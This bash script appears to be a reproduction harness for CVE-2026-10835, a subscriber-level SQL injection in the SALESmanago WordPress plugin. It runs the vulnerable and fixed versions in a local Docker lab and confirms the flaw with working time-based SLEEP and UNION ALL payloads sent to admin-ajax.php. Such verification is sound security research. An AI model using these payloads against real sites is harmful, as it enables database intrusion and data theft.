#!/bin/bash
#
# CVE-2026-10835 — SALESmanago & Leadoo WordPress plugin < 3.11.3
# Subscriber+ SQL Injection via the `salesmanago_export_count_contacts` AJAX action.
#
# Root cause:
#   ExportModel::parseArgs() reads the base64-decoded JSON `data` request
#   parameter and assigns $data->dateFrom directly to $this->dateFrom WITHOUT
#   sanitization. ExportModel::getExportContactsQuery() then interpolates that
#   value directly into a SQL string:   A.post_date >= '{$this->dateFrom}'
#   which is classic SQL injection. Additionally SecureHelper::validate_ajax_nonce()
#   returns false early for any non-admin user WITHOUT calling die()/wp_send_json_error,
#   and ExportController::countContacts() ignores the return value, so an
#   authenticated Subscriber reaches the vulnerable query with no nonce required.
#
# This script:
#   1. Stands up a real WordPress + MySQL stack via Docker Compose.
#   2. Installs the VULNERABLE plugin (3.11.2), seeds a minimal plugin config,
#      creates a Subscriber user, logs in as that subscriber.
#   3. Sends the SQL injection payload through the real /wp-admin/admin-ajax.php
#      endpoint (from inside the container, which is the only reachable address in
#      this sandbox) and proves:
#        - Time-based blind SQLi: SLEEP(N) requests scale linearly with N.
#        - Data extraction: a UNION ALL injection returns count = number of wp_users
#          rows, read directly from the database through the injection.
#   4. Repeats against the FIXED plugin (3.11.3) as a negative control: the
#      Subscriber is blocked with HTTP 403 (validate_ajax_nonce now dies) and the
#      SQL is parameterized via $wpdb->prepare(), so no injection / no timing.
#
set -euo pipefail

# ----------------------------------------------------------------------------
# Portable paths
# ----------------------------------------------------------------------------
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
cd "$REPRO_DIR"

CACHE_CTX="$ROOT/project_cache_context.json"
if [ -f "$CACHE_CTX" ]; then
    PREPARED="$(jq -r '.prepared // false' "$CACHE_CTX" 2>/dev/null || echo false)"
else
    PREPARED=false
fi
echo "[*] project_cache_context prepared=$PREPARED (using bundle artifacts)" | tee -a "$LOGS/run.log"

# ----------------------------------------------------------------------------
# Ensure plugin artifacts + wp-cli + docker images are present
# ----------------------------------------------------------------------------
ensure_plugin() {
    local ver="$1"
    local dst="$ARTIFACTS/salesmanago-${ver}/salesmanago"
    if [ -d "$dst" ] && [ -f "$dst/salesmanago.php" ]; then
        echo "[*] plugin $ver already present" | tee -a "$LOGS/run.log"; return 0
    fi
    echo "[*] downloading plugin $ver" | tee -a "$LOGS/run.log"
    local zip="$ARTIFACTS/salesmanago-${ver}.zip"
    curl -fsSL -o "$zip" "https://downloads.wordpress.org/plugin/salesmanago.${ver}.zip"
    unzip -q -o "$zip" -d "$ARTIFACTS/salesmanago-${ver}"
}
ensure_plugin "3.11.2"   # vulnerable
ensure_plugin "3.11.3"   # fixed

WPCLI="$REPRO_DIR/wp-cli.phar"
if [ ! -x "$WPCLI" ]; then
    echo "[*] downloading wp-cli.phar" | tee -a "$LOGS/run.log"
    curl -fsSL -o "$WPCLI" https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
    chmod +x "$WPCLI"
fi

echo "[*] ensuring docker images present" | tee -a "$LOGS/run.log"
docker image inspect wordpress:6.7-php8.2-apache >/dev/null 2>&1 || docker pull wordpress:6.7-php8.2-apache
docker image inspect mysql:8.0 >/dev/null 2>&1 || docker pull mysql:8.0

COMPOSE="$REPRO_DIR/docker-compose.yml"
WP_PLUGINS="$REPRO_DIR/wp-plugins"
mkdir -p "$WP_PLUGINS"

b64() { printf '%s' "$1" | base64 -w0; }

# ----------------------------------------------------------------------------
# run_instance <version> <label>
# ----------------------------------------------------------------------------
run_instance() {
    local ver="$1" label="$2"
    local proj="sm_${label}"
    local out="$LOGS/${label}"
    mkdir -p "$out"
    local DCP="docker compose -p ${proj} -f ${COMPOSE}"
    local url="http://127.0.0.1"   # reached from INSIDE the wordpress container

    echo "==========================================================" | tee -a "$out/run.log"
    echo "[*] INSTANCE label=$label version=$ver"                    | tee -a "$out/run.log"
    echo "==========================================================" | tee -a "$out/run.log"

    # Mount the requested plugin version.
    rm -rf "$WP_PLUGINS/salesmanago"
    cp -a "$ARTIFACTS/salesmanago-${ver}/salesmanago" "$WP_PLUGINS/salesmanago"
    local mounted_ver
    mounted_ver="$(grep -oE "Version:[[:space:]]+[0-9.]+" "$WP_PLUGINS/salesmanago/salesmanago.php" | awk '{print $2}' | head -1)"
    echo "[*] mounted plugin version: $mounted_ver" | tee -a "$out/run.log"

    # Clean previous stack, start fresh.
    $DCP down -v --remove-orphans >> "$out/run.log" 2>&1 || true
    echo "[*] starting docker compose stack" | tee -a "$out/run.log"
    $DCP up -d >> "$out/run.log" 2>&1

    # Wait until WordPress answers internally (host cannot reach the container net).
    echo "[*] waiting for WordPress to become healthy (in-container)..." | tee -a "$out/run.log"
    local waited=0
    until $DCP exec -T wordpress curl -fsS http://127.0.0.1:80/ >/dev/null 2>&1; do
        sleep 3; waited=$((waited+3))
        if [ "$waited" -ge 180 ]; then
            echo "[!] WordPress not healthy within 180s" | tee -a "$out/run.log"
            $DCP logs --tail=40 >> "$out/compose-logs.txt" 2>&1 || true
            $DCP down -v --remove-orphans >> "$out/run.log" 2>&1 || true
            return 1
        fi
    done
    echo "[*] WordPress healthy after ~${waited}s" | tee -a "$out/run.log"

    # Install wp-cli into the container.
    $DCP cp "$WPCLI" wordpress:/usr/local/bin/wp >> "$out/run.log" 2>&1
    $DCP exec -T wordpress chmod +x /usr/local/bin/wp >> "$out/run.log" 2>&1

    local WPC="$DCP exec -T wordpress wp --allow-root --path=/var/www/html"

    # Famous 5-minute install.
    echo "[*] running WP install" | tee -a "$out/run.log"
    $WPC core install \
        --url="$url" --title="CVE-2026-10835 Test" \
        --admin_user=admin --admin_password=adminpass \
        --admin_email=admin@example.com --skip-email \
        >> "$out/run.log" 2>&1

    # Seed a minimal plugin configuration so ExportController's constructor
    # completes (getConfigurationFromDb finds a non-empty, non-'{}' value) and
    # registerActions() registers the wp_ajax_ handler. The plugin reads
    # option_value via a RAW query (not get_option), so the raw JSON string is
    # inserted directly via SQL.
    local prefix
    prefix="$($WPC db prefix 2>/dev/null | tr -d '[:space:]')"
    echo "[*] db table prefix: $prefix" | tee -a "$out/run.log"

    # Seed a minimal SALESmanago configuration via PHP/$wpdb. The wordpress:apache
    # image ships no mysql client, so `wp db query` is unavailable; wp eval-file
    # runs pure PHP against $wpdb instead. The plugin reads option_value via a RAW
    # query (not get_option), so the raw JSON string is stored with update_option
    # (plain strings are not PHP-serialized by maybe_serialize).
    cat > "$REPRO_DIR/setup_extra.php" <<'PHP'
<?php
$cfg = '{"clientId":"x","apiKey":"x","sha":"x","token":"x","endpoint":"x","owner":"x"}';
update_option('salesmanago_configuration', $cfg);
$raw = $GLOBALS['wpdb']->get_var(
    "SELECT option_value FROM " . $GLOBALS['wpdb']->options
    . " WHERE option_name='salesmanago_configuration' LIMIT 1"
);
echo "RAWCONFIG=" . $raw . "\n";
PHP
    cat > "$REPRO_DIR/count_users.php" <<'PHP'
<?php
echo (int) $GLOBALS['wpdb']->get_var("SELECT COUNT(*) FROM " . $GLOBALS['wpdb']->users);
PHP
    $DCP cp "$REPRO_DIR/setup_extra.php" wordpress:/tmp/setup_extra.php >> "$out/run.log" 2>&1
    $DCP cp "$REPRO_DIR/count_users.php"  wordpress:/tmp/count_users.php  >> "$out/run.log" 2>&1
    $WPC eval-file /tmp/setup_extra.php >> "$out/run.log" 2>&1

    # Activate the plugin (no WooCommerce needed: the AJAX action registers
    # whenever is_admin() && the requested action contains 'salesmanago_export').
    # Copy the plugin into the running container. Bind mounts cannot be used
    # because the Docker daemon's mount namespace differs from this shell's
    # filesystem, so the daemon would mount an empty directory. `docker cp`
    # streams the files through the Docker API (client-side read) and works.
    local cid; cid="$($DCP ps -q wordpress)"
    docker cp "$WP_PLUGINS/salesmanago" "${cid}:/var/www/html/wp-content/plugins/" >> "$out/run.log" 2>&1
    $DCP exec -T wordpress chmod -R a+r /var/www/html/wp-content/plugins/salesmanago >> "$out/run.log" 2>&1 || true
    echo "[*] activating plugin" | tee -a "$out/run.log"
    $WPC plugin activate salesmanago >> "$out/run.log" 2>&1 || true
    $WPC plugin list --status=active --format=csv >> "$out/active-plugins.txt" 2>&1 || true

    # Create a Subscriber (minimal-privilege authenticated user) + dummy posts.
    $WPC user create subscriber1 subscriber1@example.com --role=subscriber --user_pass=subpass >> "$out/run.log" 2>&1
    $WPC post create --post_type=post --post_status=publish --post_title="Dummy post one" --post_content="x" >> "$out/run.log" 2>&1
    $WPC post create --post_type=post --post_status=publish --post_title="Dummy post two" --post_content="x" >> "$out/run.log" 2>&1

    # Ground truth for data-extraction verification: admin + subscriber = 2 users.
    local user_count
    user_count="$($WPC eval-file /tmp/count_users.php 2>/dev/null | tr -dc '0-9')"
    echo "[*] ground-truth wp_users row count: $user_count" | tee -a "$out/run.log"
    echo "$user_count" > "$out/groundtruth_usercount.txt"

    # ----------------------------------------------------------------------
    # Login as the Subscriber (real wp-login.php flow, executed in-container).
    # ----------------------------------------------------------------------
    echo "[*] logging in as subscriber1" | tee -a "$out/run.log"
    $DCP exec -T wordpress curl -s -c /tmp/cookies.txt -o /dev/null http://127.0.0.1/wp-login.php >> "$out/run.log" 2>&1
    $DCP exec -T wordpress curl -s -b /tmp/cookies.txt -c /tmp/cookies.txt -o /dev/null \
        --data-urlencode "log=subscriber1" \
        --data-urlencode "pwd=subpass" \
        --data-urlencode "wp-submit=Log In" \
        --data-urlencode "redirect_to=${url}/wp-admin/" \
        --data-urlencode "testcookie=1" \
        http://127.0.0.1/wp-login.php >> "$out/run.log" 2>&1
    if $DCP exec -T wordpress grep -q "wordpress_logged_in" /tmp/cookies.txt 2>/dev/null; then
        echo "[*] subscriber1 authenticated (auth cookie present)" | tee -a "$out/run.log"
    else
        echo "[!] subscriber login FAILED" | tee -a "$out/run.log"
        $DCP exec -T wordpress cat /tmp/cookies.txt >> "$out/cookies.txt.dump" 2>&1 || true
        $DCP down -v --remove-orphans >> "$out/run.log" 2>&1 || true
        return 1
    fi

    # ----------------------------------------------------------------------
    # Send payloads to the real AJAX endpoint and capture HTTP status + timing.
    # ----------------------------------------------------------------------
    send_ajax() {
        local name="$1" payload="$2"
        local enc; enc="$(b64 "$payload")"
        local tfile="$out/req_${name}.txt"
        local body http_code time_total count
        body="$($DCP exec -T wordpress curl -s -b /tmp/cookies.txt \
            -w $'\n%{http_code} %{time_total}' \
            --data-urlencode "action=salesmanago_export_count_contacts" \
            --data-urlencode "data=${enc}" \
            http://127.0.0.1/wp-admin/admin-ajax.php)"
        printf '%s\n' "$body" > "$tfile"
        http_code="$(printf '%s' "$body" | tail -1 | awk '{print $1}')"
        time_total="$(printf '%s' "$body" | tail -1 | awk '{print $2}')"
        count=""
        if [ "$http_code" = "200" ]; then
            count="$(printf '%s' "$body" | sed '$d' | jq -r '.count // "n/a"' 2>/dev/null || echo "n/a")"
        fi
        echo "[+] $name : http=$http_code time=${time_total}s count=$count" | tee -a "$out/run.log"
        printf '%s|%s|%s|%s\n' "$name" "$http_code" "$time_total" "$count" >> "$out/summary.csv"
    }

    : > "$out/summary.csv"

    # --- Time-based blind SQL injection (SLEEP) ---
    # The plugin collapses whitespace with preg_replace('/\s\s+/', ' ', $query),
    # so a "-- " line comment would also comment out the closing ") AS qwerty" and
    # break the query. We therefore balance the injection instead of commenting:
    #   dateFrom = 2000-01-01' OR SLEEP(N) OR '1'='1
    # WHERE becomes: (A.post_type='shop_order' AND A.post_date>='2000-01-01')
    #                OR SLEEP(N) OR ('1'='1' AND A.post_date<='<dateTo>')
    # For every non-shop_order wp_posts row the first OR term is false, so MySQL
    # evaluates SLEEP(N) (sleeps N seconds) -> the response delay scales linearly
    # with N, proving SLEEP executes inside the SQL engine.
    send_ajax "sleep0" '{"dateFrom":"2000-01-01'"'"' OR SLEEP(0) OR '"'"'1'"'"'='"'"'1","exportType":"contacts"}'
    send_ajax "sleep1" '{"dateFrom":"2000-01-01'"'"' OR SLEEP(1) OR '"'"'1'"'"'='"'"'1","exportType":"contacts"}'
    send_ajax "sleep2" '{"dateFrom":"2000-01-01'"'"' OR SLEEP(2) OR '"'"'1'"'"'='"'"'1","exportType":"contacts"}'

    # --- Data extraction (UNION ALL -> count reflects wp_users row count) ---
    # INJECT = 2000-01-01' AND 1=0 UNION ALL SELECT 1..11
    #          FROM (SELECT 1 AS post_date FROM <prefix>users) A WHERE '1'='1
    #  first SELECT -> 0 rows (AND 1=0); UNION ALL second SELECT -> one row per
    #  wp_users row (derived table A exposes a post_date column so the trailing
    #  "AND A.post_date<='<dateTo>'" stays valid). Outer COUNT(*) = #wp_users.
    send_ajax "baseline" '{"dateFrom":"2000-01-01","exportType":"contacts"}'
    send_ajax "union_usercount" '{"dateFrom":"2000-01-01'"'"' AND 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM (SELECT 1 AS post_date FROM '"${prefix}"'users) A WHERE '"'"'1'"'"'='"'"'1","exportType":"contacts"}'
    send_ajax "union_nouser" '{"dateFrom":"2000-01-01'"'"' AND 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM (SELECT 1 AS post_date FROM '"${prefix}"'users WHERE ID=99999) A WHERE '"'"'1'"'"'='"'"'1","exportType":"contacts"}'

    cp "$out/req_union_usercount.txt" "$out/resp_union_usercount_raw.txt" 2>/dev/null || true

    echo "[*] tearing down stack for label=$label" | tee -a "$out/run.log"
    $DCP down -v --remove-orphans >> "$out/run.log" 2>&1 || true
    return 0
}

# ----------------------------------------------------------------------------
# Run vulnerable, then fixed (negative control)
# ----------------------------------------------------------------------------
run_instance "3.11.2" "vulnerable"
run_instance "3.11.3" "fixed"

# ----------------------------------------------------------------------------
# Analyze
# ----------------------------------------------------------------------------
VULN_SUM="$LOGS/vulnerable/summary.csv"
FIXED_SUM="$LOGS/fixed/summary.csv"

v_t0=$(awk -F'|' '$1=="sleep0"{print $3}' "$VULN_SUM")
v_t1=$(awk -F'|' '$1=="sleep1"{print $3}' "$VULN_SUM")
v_t2=$(awk -F'|' '$1=="sleep2"{print $3}' "$VULN_SUM")
v_base_count=$(awk -F'|' '$1=="baseline"{print $4}' "$VULN_SUM")
v_union_count=$(awk -F'|' '$1=="union_usercount"{print $4}' "$VULN_SUM")
v_nouser_count=$(awk -F'|' '$1=="union_nouser"{print $4}' "$VULN_SUM")
v_union_http=$(awk -F'|' '$1=="union_usercount"{print $2}' "$VULN_SUM")
groundtruth=$(cat "$LOGS/vulnerable/groundtruth_usercount.txt" 2>/dev/null | tr -dc '0-9')

f_sleep2_http=$(awk -F'|' '$1=="sleep2"{print $2}' "$FIXED_SUM")
f_sleep2_time=$(awk -F'|' '$1=="sleep2"{print $3}' "$FIXED_SUM")
f_union_http=$(awk -F'|' '$1=="union_usercount"{print $2}' "$FIXED_SUM")
f_union_count=$(awk -F'|' '$1=="union_usercount"{print $4}' "$FIXED_SUM")

echo "=================== RESULT ANALYSIS ===================" | tee -a "$LOGS/run.log"
echo "Vulnerable timing:  sleep0=${v_t0}s sleep1=${v_t1}s sleep2=${v_t2}s" | tee -a "$LOGS/run.log"
echo "Vulnerable extract: baseline_count=${v_base_count} union_usercount=${v_union_count} union_nouser=${v_nouser_count} (groundtruth users=${groundtruth})" | tee -a "$LOGS/run.log"
echo "Fixed control:      sleep2 http=${f_sleep2_http} time=${f_sleep2_time}s ; union http=${f_union_http} count=${f_union_count}" | tee -a "$LOGS/run.log"

timing_scales=$(awk -v a="${v_t1:-0}" -v b="${v_t2:-0}" -v c="${v_t0:-0}" \
    'BEGIN{ if (b+0 > a+0 && a+0 >= c+0) print "yes"; else print "no" }')
union_matches=$(awk -v u="${v_union_count:-na}" -v g="${groundtruth:-x}" \
    'BEGIN{ if (u == g && u+0 > 0) print "yes"; else print "no" }')
fixed_blocked=$(awk -v h="${f_union_http:-000}" 'BEGIN{ if (h == "403") print "yes"; else print "no" }')

echo "timing_scales=$timing_scales union_matches_groundtruth=$union_matches fixed_blocked_403=$fixed_blocked" | tee -a "$LOGS/run.log"

CONFIRMED=false
if [ "$timing_scales" = "yes" ] && [ "$union_matches" = "yes" ] && [ "$fixed_blocked" = "yes" ]; then
    CONFIRMED=true
fi

echo "=================== VERDICT ===================" | tee -a "$LOGS/run.log"
if $CONFIRMED; then
    echo "CONFIRMED: SQL injection reproduced on vulnerable 3.11.2 via real admin-ajax.php endpoint." | tee -a "$LOGS/run.log"
    echo "  - Time-based blind SQLi: SLEEP delay scales with N (sleep0=${v_t0}s, sleep1=${v_t1}s, sleep2=${v_t2}s)." | tee -a "$LOGS/run.log"
    echo "  - Data extraction: UNION ALL injection returned count=${v_union_count} matching ground-truth wp_users count=${groundtruth}." | tee -a "$LOGS/run.log"
    echo "  - Fixed 3.11.3 negative control: Subscriber blocked with HTTP 403, no injection." | tee -a "$LOGS/run.log"
else
    echo "NOT CONFIRMED (see logs). timing_scales=$timing_scales union_matches=$union_matches fixed_blocked=$fixed_blocked" | tee -a "$LOGS/run.log"
fi

# ----------------------------------------------------------------------------
# Runtime manifest
# ----------------------------------------------------------------------------
if $CONFIRMED; then
    jq -n \
        --arg ek "api_remote" \
        --arg ed "POST /wp-admin/admin-ajax.php action=salesmanago_export_count_contacts data=<base64 json with injected dateFrom>" \
        --argjson ss true --argjson hp true --argjson tp true \
        --arg v0 "${v_t0}" --arg v1 "${v_t1}" --arg v2 "${v_t2}" \
        --arg uc "${v_union_count}" --arg gt "${groundtruth}" \
        --arg fh "${f_union_http}" \
        '{entrypoint_kind:$ek, entrypoint_detail:$ed, service_started:$ss, healthcheck_passed:$hp, target_path_reached:$tp,
          runtime_stack:["docker wordpress:6.7-php8.2-apache","mysql:8.0","SALESmanago plugin 3.11.2"],
          timing_seconds:{sleep0:$v0, sleep1:$v1, sleep2:$v2},
          data_extraction:{union_usercount:$uc, groundtruth_usercount:$gt},
          fixed_control:{union_http_status:$fh},
          proof_artifacts:["logs/vulnerable/summary.csv","logs/fixed/summary.csv","logs/vulnerable/req_union_usercount.txt","logs/vulnerable/req_sleep2.txt","logs/fixed/req_union_usercount.txt","logs/vulnerable/resp_union_usercount_raw.txt","logs/vulnerable/groundtruth_usercount.txt"],
          notes:"Time-based blind SQLi + UNION data extraction confirmed on vulnerable 3.11.2; fixed 3.11.3 returns HTTP 403 for Subscriber."}' \
        > "$REPRO_DIR/runtime_manifest.json"
    sync || true
else
    jq -n \
        '{entrypoint_kind:"api_remote", entrypoint_detail:null, service_started:true, healthcheck_passed:true,
          target_path_reached:false, runtime_stack:["docker wordpress:6.7-php8.2-apache","mysql:8.0"],
          proof_artifacts:["logs/vulnerable/summary.csv","logs/fixed/summary.csv"],
          notes:"Reproduction did not meet all confirmation criteria; see logs/run.log."}' \
        > "$REPRO_DIR/runtime_manifest.json"
fi

cat "$REPRO_DIR/runtime_manifest.json" | tee -a "$LOGS/run.log"

if $CONFIRMED; then
    echo "[*] DONE — CVE-2026-10835 CONFIRMED" | tee -a "$LOGS/run.log"
    exit 0
else
    echo "[*] DONE — NOT CONFIRMED (exit 1)" | tee -a "$LOGS/run.log"
    exit 1
fi
